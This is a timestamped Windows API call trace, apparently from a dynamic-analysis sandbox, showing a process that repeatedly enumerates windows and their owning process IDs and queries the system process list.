[0248.969] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0248.969] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0248.970] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0248.970] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0248.970] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0248.970] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0248.970] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0248.971] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0248.971] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0248.971] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0248.971] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0248.971] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0248.971] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0248.972] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0248.972] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0248.972] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0248.972] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0248.972] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0248.972] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0248.973] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0248.973] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0248.973] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0248.973] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0248.973] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0248.973] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0248.974] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0248.974] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0248.974] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0248.974] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0248.974] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0248.975] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0248.975] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0248.975] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0248.975] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0248.975] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0248.975] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0248.975] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0248.976] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0248.976] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0248.976] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0248.976] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0248.976] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0248.976] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0248.977] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0248.977] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0248.977] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0248.977] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0248.977] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0248.977] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0248.978] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0248.978] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.978] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0248.978] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0248.978] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.978] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0248.980] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0249.062] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0249.950] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12fa8) returned 0x0
[0249.966] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12fa8) returned 0x0
[0249.970] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12fa8) returned 0x0
[0249.974] EnumWindows (lpEnumFunc=0x1b1a2a0c, lParam=0x0) returned 1
[0249.975] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0249.975] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.975] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.975] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.976] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.976] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0249.976] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.976] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0249.976] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0249.976] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.976] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.976] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.976] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.977] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.977] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.977] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.977] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.977] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0249.977] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.977] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.977] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0249.978] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0249.978] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0249.978] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0249.978] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0249.978] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0249.978] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0249.978] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.978] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.979] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.979] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.979] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.979] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.979] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.979] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0249.979] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0249.979] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0249.979] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0249.980] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0249.980] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0249.980] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0249.980] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0249.980] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0249.980] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0249.980] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0249.980] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0249.981] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0249.981] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0249.981] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0249.981] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0249.981] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0249.981] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0249.981] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0249.981] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0249.981] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0249.982] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0249.982] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0249.982] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0249.982] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0249.982] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0249.982] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0250.048] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0250.048] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0250.048] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0250.048] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0250.049] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0250.049] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0250.049] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0250.049] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0250.049] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0250.049] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0250.049] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0250.050] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0250.050] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0250.050] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0250.050] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0250.050] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0250.050] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0250.050] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0250.051] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0250.051] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0250.051] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0250.051] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0250.051] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0250.051] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0250.051] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0250.051] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0250.052] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0250.052] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0250.052] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0250.052] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0250.052] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0250.052] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0250.052] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0250.052] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0250.053] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0250.053] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0250.053] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0250.053] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0250.053] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0250.053] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0250.053] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0250.053] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0250.054] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0250.054] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0250.054] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0250.054] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0250.054] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0250.054] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0250.054] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0250.054] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0250.055] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0250.055] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0250.055] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0250.055] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0250.055] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0250.055] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0250.055] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0250.055] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0250.056] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0250.056] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
